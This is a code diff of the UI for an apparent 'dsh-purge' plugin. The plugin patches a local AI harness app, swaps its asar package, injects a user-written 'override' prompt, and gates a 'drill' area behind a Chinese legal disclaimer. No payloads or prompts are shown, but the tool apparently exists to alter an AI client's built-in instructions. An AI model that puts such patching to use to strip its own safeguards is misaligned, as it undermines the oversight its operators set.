@@ -1395,7 +1456,11 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => { loadAll(); }, [loadAll]);
|
||||
useEffect(() => {
|
||||
loadAll();
|
||||
const timer = setTimeout(() => { loadAll(); }, 5000);
|
||||
return () => clearTimeout(timer);
|
||||
}, [loadAll]);
|
||||
|
||||
const rejectNeedPrompt = useCallback((tr) => {
|
||||
setAskRestart(false);
|
||||
@@ -1411,9 +1476,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
setPatchBusy(true);
|
||||
setAskRestart(false);
|
||||
setNotice({ kind: "idle", text: "" });
|
||||
const applyContent = !promptBoxEmpty(overrideRef.current)
|
||||
? overrideRef.current
|
||||
: (defaultOverrideRef.current || "");
|
||||
const applyContent = action === "apply" ? readPromptBox() : "";
|
||||
fetch("/dsh-purge/" + action, {
|
||||
method: "POST",
|
||||
headers: { "content-type": "application/json" },
|
||||
@@ -1422,9 +1485,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
.then((r) => r.json())
|
||||
.then((d) => {
|
||||
if (ticket !== actionTicket.current) return;
|
||||
const posted = action === "apply" ? applyContent : override;
|
||||
const applyEmptyBlocked = action === "apply" && promptBoxEmpty(posted) && (!d || d.injectSource !== "rule");
|
||||
if (responseNeedsPrompt(d) || applyEmptyBlocked) {
|
||||
if (responseNeedsPrompt(d)) {
|
||||
rejectNeedPrompt(tr);
|
||||
return;
|
||||
}
|
||||
@@ -1466,21 +1527,13 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
text: tr("restart.incomplete", { detail: parts.join(";") }),
|
||||
});
|
||||
loadAll();
|
||||
setAskRestart(true);
|
||||
return;
|
||||
}
|
||||
if (action === "apply" && d.asar_swap_started) {
|
||||
setNotice({ kind: "ok", text: tr("restart.asarSwap") });
|
||||
if (action === "apply") {
|
||||
setNotice({ kind: "ok", text: tr("ok.done") });
|
||||
loadAll();
|
||||
return;
|
||||
}
|
||||
if (action === "apply" && (d.restart_after_apply || d.restarting || d.unpacked_asar || d.needs_full_quit)) {
|
||||
setNotice({
|
||||
kind: "ok",
|
||||
text: d.asar_still_sealed ? tr("restart.asarSwap") : tr("update.restarting"),
|
||||
});
|
||||
loadAll();
|
||||
const surf = hostSurfaceOf(state) || clientGuessSurface() || "web";
|
||||
restartDsh(setNotice, setPatchBusy, tr, surf);
|
||||
setAskRestart(true);
|
||||
return;
|
||||
}
|
||||
setNotice({ kind: "ok", text: tr("ok.done") });
|
||||
@@ -1494,19 +1547,8 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
if (ticket === actionTicket.current) setPatchBusy(false);
|
||||
});
|
||||
};
|
||||
if (action !== "apply") {
|
||||
run();
|
||||
return;
|
||||
}
|
||||
bothInjectEmpty(overrideRef.current).then((empty) => {
|
||||
if (ticket !== actionTicket.current) return;
|
||||
if (empty) {
|
||||
rejectNeedPrompt(tr);
|
||||
return;
|
||||
}
|
||||
run();
|
||||
});
|
||||
}, [loadAll, rejectNeedPrompt]);
|
||||
run();
|
||||
}, [loadAll, rejectNeedPrompt, state]);
|
||||
|
||||
const saveOverride = useCallback(() => {
|
||||
const tr = t;
|
||||
@@ -1515,10 +1557,11 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
setPatchBusy(true);
|
||||
setAskRestart(false);
|
||||
setNotice({ kind: "idle", text: "" });
|
||||
const content = readPromptBox();
|
||||
fetch("/dsh-purge/override", {
|
||||
method: "POST",
|
||||
headers: { "content-type": "application/json" },
|
||||
body: JSON.stringify({ content: overrideRef.current }),
|
||||
body: JSON.stringify({ content: content }),
|
||||
})
|
||||
.then((r) => r.json())
|
||||
.then((d) => {
|
||||
@@ -1538,7 +1581,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
if (ticket === actionTicket.current) setPatchBusy(false);
|
||||
});
|
||||
};
|
||||
bothInjectEmpty(overrideRef.current).then((empty) => {
|
||||
bothInjectEmpty(readPromptBox(), defaultOverrideRef.current).then((empty) => {
|
||||
if (ticket !== actionTicket.current) return;
|
||||
if (empty) {
|
||||
rejectNeedPrompt(tr);
|
||||
@@ -1614,13 +1657,15 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
const hostSurface = hostSurfaceOf(s);
|
||||
const desktopLikely = hostSurface === "desktop" || clientGuessSurface() === "desktop";
|
||||
const sealedReady = !located && desktopLikely && !!(s && (s.asar_still_sealed || s.desktop_exe || s.desktop_install));
|
||||
const total = s && s.patches_total ? s.patches_total : 0;
|
||||
const ready = s && typeof s.patches_ready === "number"
|
||||
? s.patches_ready
|
||||
: (s && typeof s.patches_applied === "number" ? s.patches_applied : 0);
|
||||
const applied = ready;
|
||||
const skipped = located && s && typeof s.patches_skipped === "number" ? s.patches_skipped : 0;
|
||||
const pct = located && total ? Math.round((ready / total) * 100) : 0;
|
||||
const patchesLost = !located && !!(s && s.patches_lost);
|
||||
const tally = located ? tallyPatches(patchRowsOf(s)) : { applied: 0, pending: 0, unmatched: 0, skipped: 0, total: 0 };
|
||||
const total = tally.total;
|
||||
const applied = tally.applied;
|
||||
const pct = located && total ? Math.round((applied / total) * 100) : 0;
|
||||
const metricNotes = [];
|
||||
if (tally.pending) metricNotes.push(t("metric.pendingShort", { n: tally.pending }));
|
||||
if (tally.unmatched) metricNotes.push(t("metric.unmatchedShort", { n: tally.unmatched }));
|
||||
if (tally.skipped) metricNotes.push(t("metric.skipShort", { n: tally.skipped }));
|
||||
|
||||
const versions = (updateInfo && updateInfo.versions) || [];
|
||||
const channelNow = (updateInfo && updateInfo.channel) || channel || "stable";
|
||||
@@ -1703,8 +1748,8 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
),
|
||||
s ? h("div", { className: "dshp-metrics" },
|
||||
h("div", { className: "dshp-metric" },
|
||||
h("b", null, located ? (ready + " / " + total) : (sealedReady ? t("metric.sealed.count") : t("metric.unlocated.count"))),
|
||||
h("span", null, !located ? (sealedReady ? t("metric.sealed") : t("metric.unlocated")) : (skipped > 0 ? t("metric.purged.skip", { n: skipped }) : t("metric.purged"))),
|
||||
h("b", null, located ? (applied + " / " + total) : (patchesLost ? t("metric.lost.count") : (sealedReady ? t("metric.sealed.count") : t("metric.unlocated.count")))),
|
||||
h("span", null, !located ? (patchesLost ? t("metric.lost") : (sealedReady ? t("metric.sealed") : t("metric.unlocated"))) : (metricNotes.length ? metricNotes.join(" · ") : t("metric.purged"))),
|
||||
),
|
||||
h("div", { className: "dshp-metric" },
|
||||
h("b", { style: { fontSize: 13, fontFamily: "var(--dshp-mono)", fontWeight: 500 } },
|
||||
@@ -1714,7 +1759,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
" ",
|
||||
h("span", { className: "dshp-pill is-" + shimKind(s.shim_bin || "missing") }, "unix"),
|
||||
),
|
||||
h("span", null, t("metric.shim")),
|
||||
h("span", null, (s.shim_cmd === "n/a" && s.shim_ps1 === "n/a" && (s.shim_bin === "n/a" || !s.shim_bin)) ? t("metric.shim.na") : t("metric.shim")),
|
||||
),
|
||||
h("div", { className: "dshp-metric" },
|
||||
h("b", null, s.has_backup ? t("metric.bak.yes") : t("metric.bak.no")),
|
||||
@@ -1728,7 +1773,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
h("div", { className: "dshp-bar", "aria-hidden": "true" }, h("i", { style: { width: pct + "%" } })),
|
||||
h(PatchGroups, { state: s }),
|
||||
h("div", { className: "dshp-row", style: { marginTop: 14 } },
|
||||
h(Btn, { kind: "primary", disabled: patchBusy || uninstallBusy, onClick: () => doAction("apply", "action.apply") }, patchBusy ? t("btn.apply.busy") : t("btn.apply")),
|
||||
h(Btn, { kind: "primary", disabled: patchBusy || uninstallBusy || !overrideLoaded, onClick: () => doAction("apply", "action.apply") }, patchBusy ? t("btn.apply.busy") : t("btn.apply")),
|
||||
h(Btn, { kind: "danger", disabled: patchBusy || uninstallBusy, onClick: () => doAction("revert", "action.revert") }, t("btn.revert")),
|
||||
h(Btn, { kind: "solid-danger", disabled: patchBusy || uninstallBusy, onClick: () => setAskUninstall(true) }, uninstallBusy ? t("btn.uninstall.busy") : t("btn.uninstall")),
|
||||
noticeNode(notice),
|
||||
@@ -1772,18 +1817,15 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
h("p", { className: "dshp-hint", style: { margin: "8px 0 0", color: "var(--dshp-mute)", fontSize: 12 } }, t("apply.hint")),
|
||||
s && !s.ai_base ? h("p", { className: "dshp-hint", style: { margin: "8px 0 0", color: "var(--dshp-danger, #c44)", fontSize: 12 } }, hostText(t, "warn.noRoot", hostSurface)) : null,
|
||||
s && s.ai_base && s.override_status === "missing" ? h("p", { className: "dshp-hint", style: { margin: "8px 0 0", color: "var(--dshp-mute)", fontSize: 12 } }, t("warn.noInject")) : null,
|
||||
askRestart ? h("div", { className: "dshp-ask" },
|
||||
h("span", null, hostText(t, "restart.confirm", hostSurface)),
|
||||
h(Btn, { tiny: true, onClick: () => setAskRestart(false) }, t("restart.later")),
|
||||
h(Btn, {
|
||||
tiny: true,
|
||||
kind: "primary",
|
||||
onClick: () => {
|
||||
setAskRestart(false);
|
||||
restartDsh(setNotice, function () {}, t, hostSurface);
|
||||
},
|
||||
}, t("btn.restart")),
|
||||
) : null,
|
||||
askRestart ? h(RestartAsk, {
|
||||
t: t,
|
||||
theme: detectHostTheme(),
|
||||
onLater: () => setAskRestart(false),
|
||||
onRestart: () => {
|
||||
setAskRestart(false);
|
||||
restartDsh(setNotice, function () {}, t, hostSurface);
|
||||
},
|
||||
}) : null,
|
||||
// h(ContinueRetrySection, null),
|
||||
h("div", { className: "dshp-sub" },
|
||||
h("h4", null, t("override.title")),
|
||||
@@ -1794,6 +1836,7 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
),
|
||||
h("textarea", {
|
||||
className: "dshp-area",
|
||||
ref: promptAreaRef,
|
||||
value: override,
|
||||
onChange: (e) => {
|
||||
overrideRef.current = e.target.value;
|
||||
@@ -2112,8 +2155,13 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
const pinned = pin ? (list || []).find((item) => item.ref === pin) : null;
|
||||
if (pinned) return pinned;
|
||||
const ver = String(localVer || "").replace(/^v/i, "");
|
||||
const same = (list || []).filter((item) => ver && String(item.version || "").replace(/^v/i, "") === ver);
|
||||
if (same.length) {
|
||||
return same.find((item) => item.current)
|
||||
|| same.find((item) => item.latest)
|
||||
|| same[0];
|
||||
}
|
||||
return (list || []).find((item) => item.current)
|
||||
|| (list || []).find((item) => ver && String(item.version || "").replace(/^v/i, "") === ver)
|
||||
|| (list || []).find((item) => item.latest)
|
||||
|| (list || [])[0]
|
||||
|| null;
|
||||
@@ -2452,42 +2500,68 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
setTimeout(ping, 800);
|
||||
}
|
||||
|
||||
let restartOnce = false;
|
||||
|
||||
function restartDsh(setNotice, setBusy, t, surface) {
|
||||
const surf = surface || clientGuessSurface() || "web";
|
||||
if (restartOnce) return;
|
||||
const surf = surface || clientGuessSurface() || "desktop";
|
||||
const desktop = surf === "desktop" || clientGuessSurface() === "desktop";
|
||||
restartOnce = true;
|
||||
setBusy(true);
|
||||
setNotice({ kind: "ok", text: hostText(t, "restarting", surf) });
|
||||
const stop = (error) => {
|
||||
restartOnce = false;
|
||||
setNotice({ kind: "error", text: error ? t("restart.fail", { error }) : t("restart.notStarted") });
|
||||
setBusy(false);
|
||||
};
|
||||
let sawDrop = false;
|
||||
const watch = setTimeout(() => {
|
||||
if (sawDrop) return;
|
||||
stop("");
|
||||
}, 25000);
|
||||
fetch("/dsh-purge/restart", { method: "POST", headers: { "content-type": "application/json" }, body: "{}" })
|
||||
.then((r) => r.json())
|
||||
.then((d) => {
|
||||
if (!d.ok) throw new Error(d.error || "restart failed");
|
||||
const next = (d && d.surface) || surf;
|
||||
if ((next === "desktop" || d.fullApp) && d.restarting === false) {
|
||||
setNotice({ kind: "error", text: t("restart.fail", { error: d.note || "not started" }) });
|
||||
const full = next === "desktop" || (d && d.fullApp) || desktop;
|
||||
if (full && d.already) {
|
||||
clearTimeout(watch);
|
||||
restartOnce = false;
|
||||
setNotice({ kind: "ok", text: t("restart.already") });
|
||||
setBusy(false);
|
||||
return;
|
||||
}
|
||||
if (full && d.restarting === false) {
|
||||
clearTimeout(watch);
|
||||
stop(d.error || "not started");
|
||||
return;
|
||||
}
|
||||
setNotice({ kind: "ok", text: hostText(t, "restarting", next) });
|
||||
// 桌面端整应用会退出重开。先刷新内嵌 web 会单独重启 Host。
|
||||
if (next === "desktop" || (d && d.fullApp) || clientGuessSurface() === "desktop") return;
|
||||
if (full) return;
|
||||
clearTimeout(watch);
|
||||
restartOnce = false;
|
||||
waitForRestart(setNotice, setBusy, t);
|
||||
})
|
||||
.catch((e) => {
|
||||
if (surf === "desktop" || clientGuessSurface() === "desktop") return;
|
||||
if (String(e.message || e).includes("Failed to fetch") || e.name === "TypeError") {
|
||||
waitForRestart(setNotice, setBusy, t);
|
||||
const msg = String((e && e.message) || e || "");
|
||||
const dropped = /failed to fetch|networkerror|load failed/i.test(msg) || e.name === "TypeError";
|
||||
if (dropped && desktop) {
|
||||
sawDrop = true;
|
||||
clearTimeout(watch);
|
||||
return;
|
||||
}
|
||||
setNotice({ kind: "error", text: t("restart.fail", { error: e.message }) });
|
||||
setBusy(false);
|
||||
clearTimeout(watch);
|
||||
stop(msg || "restart failed");
|
||||
});
|
||||
}
|
||||
|
||||
function detectHostTheme() {
|
||||
try {
|
||||
if (typeof document !== "undefined") {
|
||||
if (document.body?.hasAttribute("data-ds-dark-theme")) return "dusk";
|
||||
const root = document.documentElement;
|
||||
const scheme = (root.style.colorScheme || getComputedStyle(root).getPropertyValue("color-scheme") || "").toLowerCase();
|
||||
if (document.body?.hasAttribute("data-ds-dark-theme") || root?.hasAttribute("data-ds-dark-theme")) return "dusk";
|
||||
const scheme = (root.style.colorScheme || getComputedStyle(root).colorScheme || getComputedStyle(root).getPropertyValue("color-scheme") || "").toLowerCase();
|
||||
if (scheme.includes("dark")) return "dusk";
|
||||
if (scheme.includes("light")) return "white";
|
||||
}
|
||||
@@ -2505,13 +2579,6 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
function SettingsRoot(props) {
|
||||
const t = typeof props.t === "function" ? props.t : ((key) => key);
|
||||
const [theme, setTheme] = useState(readTheme);
|
||||
const setAndStore = useCallback((next) => {
|
||||
setTheme(next);
|
||||
try {
|
||||
window.localStorage.setItem(THEME_MODE_KEY, "manual");
|
||||
window.localStorage.setItem(THEME_KEY, next);
|
||||
} catch { /* ignore */ }
|
||||
}, []);
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
let timer = 0;
|
||||
@@ -2530,10 +2597,9 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
} catch { /* ignore */ }
|
||||
let obs;
|
||||
try {
|
||||
if (document.body) {
|
||||
obs = new MutationObserver(syncSoon);
|
||||
obs.observe(document.body, { attributes: true, attributeFilter: ["data-ds-dark-theme"] });
|
||||
}
|
||||
obs = new MutationObserver(syncSoon);
|
||||
if (document.body) obs.observe(document.body, { attributes: true, attributeFilter: ["data-ds-dark-theme", "class", "style"] });
|
||||
obs.observe(document.documentElement, { attributes: true, attributeFilter: ["data-ds-dark-theme", "class", "style"] });
|
||||
} catch { /* ignore */ }
|
||||
return () => {
|
||||
cancelled = true;
|
||||
@@ -2545,20 +2611,6 @@ body .dshp-dock[data-theme="white"] .dshp-dock-body .rt-card,body .dshp-dock[dat
|
||||
translate = t;
|
||||
return h("div", { className: "dshp-root", "data-theme": theme },
|
||||
h("style", null, PURGE_CSS),
|
||||
h("div", { className: "dshp-toolbar" },
|
||||
h("div", { className: "dshp-switch", role: "group", "aria-label": t("theme.aria") },
|
||||
h("button", {
|
||||
type: "button",
|
||||
className: theme === "white" ? "is-on" : "",
|
||||
onClick: () => setAndStore("white"),
|
||||
}, t("theme.white")),
|
||||
h("button", {
|
||||
type: "button",
|
||||
className: theme === "dusk" ? "is-on" : "",
|
||||
onClick: () => setAndStore("dusk"),
|
||||
}, t("theme.ink")),
|
||||
),
|
||||
),
|
||||
h(PurgifySection, null),
|
||||
h(RulesSection, null),
|
||||
h(SkillsSection, null),
|
||||
@@ -3220,7 +3272,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
这里放占位符,由 bundle 的 build.mjs 在生成 lib/client.js 时替换成正文。 */
|
||||
const CSS = `
|
||||
:root{--rt-dock-w:620px}
|
||||
/* 右侧栏收起时给 frame 加内边距,中栏主动收窄。属性名跨 DSH 版本兼容:\n 旧版 details 栏 data-details-collapsed,新版 rightbar 栏 data-rightbar-collapsed。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-details-collapsed],\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-rightbar-collapsed]{padding-right:var(--rt-dock-w)}
|
||||
/* 右侧栏收起时给 frame 加内边距,中栏主动收窄。属性名跨 DSH 版本兼容:\n 旧版 details 栏 data-details-collapsed,新版 rightbar 栏 data-rightbar-collapsed。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-details-collapsed],\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-rightbar-collapsed]{padding-right:var(--rt-dock-w)}
|
||||
.rt-dock{position:absolute;top:0;right:0;bottom:0;z-index:20;display:flex;flex-direction:column;
|
||||
background:color-mix(in srgb,var(--dsw-alias-bg-layer-1,#1c1c1c) 52%,transparent);
|
||||
backdrop-filter:blur(20px) saturate(1.3);-webkit-backdrop-filter:blur(20px) saturate(1.3);
|
||||
@@ -3228,7 +3280,7 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
box-shadow:-12px 0 32px color-mix(in srgb,#000 22%,transparent);pointer-events:auto;color:var(--dsw-alias-label-primary);
|
||||
font-size:13px;line-height:1.5;transition:transform .18s ease,opacity .18s ease}
|
||||
.rt-dock.rt-embedded{position:relative;background:transparent!important;border:0;box-shadow:none;backdrop-filter:none;-webkit-backdrop-filter:none}
|
||||
/* 右侧栏打开(或新版全屏)时让位:滑出隐藏。必须同时否定两个属性名——\n 旧写法只用 :not([data-details-collapsed]),在新 shell 里该属性不存在会导致条件恒真、面板永远打不开。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]):not([data-details-collapsed]):not([data-rightbar-collapsed]) .rt-dock,\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"])[data-rightbar-fullscreen] .rt-dock{
|
||||
/* 右侧栏打开(或新版全屏)时让位:滑出隐藏。必须同时否定两个属性名——\n 旧写法只用 :not([data-details-collapsed]),在新 shell 里该属性不存在会导致条件恒真、面板永远打不开。 */\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded)):not([data-details-collapsed]):not([data-rightbar-collapsed]) .rt-dock,\ndiv:has(> [data-shell-overlay] .rt-dock[data-open="1"]:not(.rt-embedded))[data-rightbar-fullscreen] .rt-dock{
|
||||
transform:translateX(100%);opacity:0;pointer-events:none}
|
||||
.rt-grip{position:absolute;left:-3px;top:0;bottom:0;width:6px;cursor:col-resize;background:transparent;z-index:2}
|
||||
.rt-head{display:flex;align-items:center;gap:8px;padding:10px 12px;border-bottom:1px solid var(--dsw-alias-border-l1)}
|
||||
@@ -7226,6 +7278,9 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
|
||||
const AUTH_KEY = "dsh-purge-drill-auth";
|
||||
const WELCOME_KEY = "dsh-purge-user-notice-v1";
|
||||
let drillGrantGen = 0;
|
||||
let drillGrantPosting = 0;
|
||||
let drillGrantState = { ready: false, granted: false };
|
||||
const AUTH_LEGAL_HTML = "<h3>严正法律免责与合规使用声明</h3>\r\n <p>本声明在进入演练台前必须全文阅读。本项目是非营利开源项目,遵守国家法律法规及所在平台的规范,仅供学习与研究、技术参考。严禁任何主体把本项目用于商业售卖、付费倒卖或黑灰产牟利。</p>\r\n <p>开发者坚决反对并严禁任何形式的违法犯罪,绝不支持、不鼓励、不协助未授权网络攻击、漏洞利用、数据窃取、非法侵入计算机信息系统,或生成违法违禁内容。任何将本项目用于违法犯罪的行为,均与开发者无关,由行为人依法独立承担全部法律责任。不得以科研、教学、测试、演示或内部学习为由规避下列条款。</p>\r\n <h3>1. 本仓库不含违法内容</h3>\r\n <p>dsh-purge 发布的代码、文档、补丁与默认提示词不是木马、后门、未授权渗透工具、勒索软件、撞库脚本,也不是针对公网或第三方系统的攻击载荷。项目不提供违法内容,也不教唆、组织、协助实施违法犯罪。</p>\r\n <h3>2. 本机操作不构成对外授权</h3>\r\n <p>应用补丁、写入、回滚、卸载,都在本机文件和本机进程内完成。这些操作不对任何公网主机或未授权系统进行扫描、探测、入侵或攻击发包,也不得把本机当作跳板。</p>\r\n <p>插件若开启检测更新,仅可能访问本插件自己的 GitHub 仓库以核对版本。该访问与对第三方系统的网络攻击无关,不能被解释为对外渗透的授权。</p>\r\n <h3>3. 允许使用的范围</h3>\r\n <p>只允许用在你能证明有权处理的环境:本人有权管理的本机官方 Harness;离线的本地合成靶标;所有者已经出具合法书面授权的网络安全演练靶场;合规实验室里的受控环境。书面授权要能对应具体目标、时间和范围。只填写一个单位名称,或只有口头说法,不构成授权。</p>\r\n <p>未经所有者合法书面授权的目标、公网在线系统、生产业务,以及能源、交通、水利、金融、公共服务、电子政务等关键信息基础设施,都不得作为演练对象。</p>\r\n <h3>4. 必须遵守的法律,按条、款</h3>\r\n <p>《中华人民共和国刑法》第二百八十五条第一款:禁止违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统。</p>\r\n <p>同条第二款:禁止侵入前款规定以外的计算机信息系统,或者用其他技术手段,获取该系统中存储、处理或者传输的数据,或者对该系统实施非法控制。</p>\r\n <p>同条第三款:禁止提供专门用于侵入、非法控制计算机信息系统的程序、工具;明知他人实施侵入、非法控制而为其提供程序、工具,同样禁止。</p>\r\n <p>第二百八十六条第一款:禁止对计算机信息系统功能进行删除、修改、增加、干扰,造成系统不能正常运行。</p>\r\n <p>同条第二款:禁止对系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加。</p>\r\n <p>同条第三款:禁止故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行。</p>\r\n <p>第二百八十七条:禁止利用计算机实施金融诈骗、盗窃、贪污、挪用公款、窃取国家秘密或者其他犯罪。</p>\r\n <p>第二百八十七条之一第一款第(一)项:禁止设立用于实施诈骗、传授犯罪方法、制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组。</p>\r\n <p>同款第(二)项:禁止发布有关制作或者销售毒品、枪支、淫秽物品等违禁物品、管制物品或者其他违法犯罪的信息。</p>\r\n <p>同款第(三)项:禁止为实施诈骗等违法犯罪活动发布信息。</p>\r\n <p>第二百八十七条之二:禁止明知他人利用信息网络实施犯罪,仍为其提供技术支持,或者提供广告推广、支付结算等帮助。</p>\r\n <p>第二百五十三条之一第一款、第三款:禁止向他人出售或者提供公民个人信息;禁止窃取或者以其他方法非法获取公民个人信息。</p>\r\n <p>《中华人民共和国网络安全法》第十三条第二款:使用网络不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。</p>\r\n <p>第十四条:禁止利用网络从事危害未成年人身心健康的活动。</p>\r\n <Line truncated
|
||||
|
||||
function readWelcomeAck() {
|
||||
@@ -7236,13 +7291,55 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
}
|
||||
|
||||
function readDrillAuth() {
|
||||
if (drillGrantState.ready) return drillGrantState.granted;
|
||||
try { return window.localStorage.getItem(AUTH_KEY) === "1"; } catch { return false; }
|
||||
}
|
||||
function writeDrillAuth(ok) {
|
||||
function setDrillAuthLocal(ok) {
|
||||
try {
|
||||
if (ok) window.localStorage.setItem(AUTH_KEY, "1");
|
||||
else window.localStorage.removeItem(AUTH_KEY);
|
||||
} catch { /* ignore */ }
|
||||
drillGrantState = { ready: true, granted: !!ok };
|
||||
}
|
||||
function writeDrillAuth(ok) {
|
||||
drillGrantGen += 1;
|
||||
const gen = drillGrantGen;
|
||||
setDrillAuthLocal(ok);
|
||||
if (!ok) return;
|
||||
drillGrantPosting += 1;
|
||||
fetch("/dsh-purge/drill-grant", {
|
||||
method: "POST",
|
||||
headers: { "content-type": "application/json" },
|
||||
body: "{}",
|
||||
}).then((r) => r.json()).then((saved) => {
|
||||
if (gen !== drillGrantGen) return;
|
||||
setDrillAuthLocal(!!(saved && saved.granted));
|
||||
}).catch(() => { /* 页面先记住,下次同步再写入当前安装目录 */ })
|
||||
.finally(() => { drillGrantPosting = Math.max(0, drillGrantPosting - 1); });
|
||||
}
|
||||
function syncDrillGrant(attempt) {
|
||||
const n = attempt || 0;
|
||||
const gen = drillGrantGen;
|
||||
fetch("/dsh-purge/drill-grant", { method: "GET" })
|
||||
.then((r) => r.json())
|
||||
.then((r) => {
|
||||
if (gen !== drillGrantGen) return;
|
||||
if (!r || r.ok === false) throw new Error("grant");
|
||||
if (r.granted) {
|
||||
setDrillAuthLocal(true);
|
||||
if (dockBus.authOpen) setDock({ authOpen: false });
|
||||
return;
|
||||
}
|
||||
if (drillGrantPosting > 0) return;
|
||||
setDrillAuthLocal(false);
|
||||
if (dockBus.authOpen || dockBus.tab === "drill") {
|
||||
setDock({ open: true, tab: "drill", authOpen: true, pending: dockBus.pending || "tab" });
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (gen !== drillGrantGen) return;
|
||||
if (n < 5) window.setTimeout(() => syncDrillGrant(n + 1), 400);
|
||||
});
|
||||
}
|
||||
|
||||
let dockBus = { open: false, tab: "clean", authOpen: false, pending: "tab", listeners: new Set() };
|
||||
@@ -7294,24 +7391,26 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
if (dockBus.open) setDock({ open: false, authOpen: false, pending: "tab" });
|
||||
else openDockClean();
|
||||
}
|
||||
syncDrillGrant();
|
||||
|
||||
const DOCK_GEOM_KEY = "dsh-purge-dock-geom-v2";
|
||||
const DOCK_GEOM_KEY = "dsh-purge-dock-geom-v4";
|
||||
/* 默认停在右上,底边留在输入框上面。拖动之后停在用户松开的位置,只保证不拖出窗口。 */
|
||||
const DOCK_COMPOSER_CLEAR = 172;
|
||||
function defaultDockGeom() {
|
||||
/* 默认贴右侧,像侧边栏:靠右、顶边留标题栏、高度铺满可视区 */
|
||||
const w = 620;
|
||||
const vw = typeof window !== "undefined" ? window.innerWidth : 1280;
|
||||
const vh = typeof window !== "undefined" ? window.innerHeight : 800;
|
||||
const w = Math.min(620, Math.max(380, vw - 16));
|
||||
const y = 48;
|
||||
const h = Math.max(360, vh - y - 12);
|
||||
const h = Math.max(240, Math.min(640, vh - y - DOCK_COMPOSER_CLEAR));
|
||||
return { x: Math.max(8, vw - w - 8), y: y, w: w, h: h };
|
||||
}
|
||||
function clampDockGeom(g) {
|
||||
const vw = typeof window !== "undefined" ? window.innerWidth : 1280;
|
||||
const vh = typeof window !== "undefined" ? window.innerHeight : 800;
|
||||
const w = Math.min(Math.max(380, Number(g && g.w) || 620), Math.max(380, vw - 16));
|
||||
const h = Math.min(Math.max(320, Number(g && g.h) || 520), Math.max(320, vh - 16));
|
||||
const x = Math.min(Math.max(8, Number(g && g.x) || 8), Math.max(8, vw - 64));
|
||||
const y = Math.min(Math.max(8, Number(g && g.y) || 8), Math.max(8, vh - 64));
|
||||
const h = Math.min(Math.max(240, Number(g && g.h) || 520), Math.max(240, vh - 16));
|
||||
const x = Math.min(Math.max(8, Number(g && g.x) || 8), Math.max(8, vw - w - 8));
|
||||
const y = Math.min(Math.max(8, Number(g && g.y) || 8), Math.max(8, vh - Math.min(h, vh - 16) - 8));
|
||||
return { x: x, y: y, w: w, h: h };
|
||||
}
|
||||
function loadDockGeom() {
|
||||
@@ -7783,11 +7882,10 @@ body[data-ds-dark-theme] .dshp-rewind-item span{color:var(--dsw-alias-label-tert
|
||||
const sync = () => setDockTheme(detectHostTheme());
|
||||
sync();
|
||||
const obs = new MutationObserver(sync);
|
||||
if (document.body) obs.observe(document.body, { attributes: true, attributeFilter: ["data-ds-dark-theme", "class"] });
|
||||
const onStorage = (e) => { if (!e.key || e.key === THEME_KEY || e.key === THEME_MODE_KEY) sync(); };
|
||||
window.addEventListener("storage", onStorage);
|
||||
if (document.body) obs.observe(document.body, { attributes: true, attributeFilter: ["data-ds-dark-theme", "class", "style"] });
|
||||
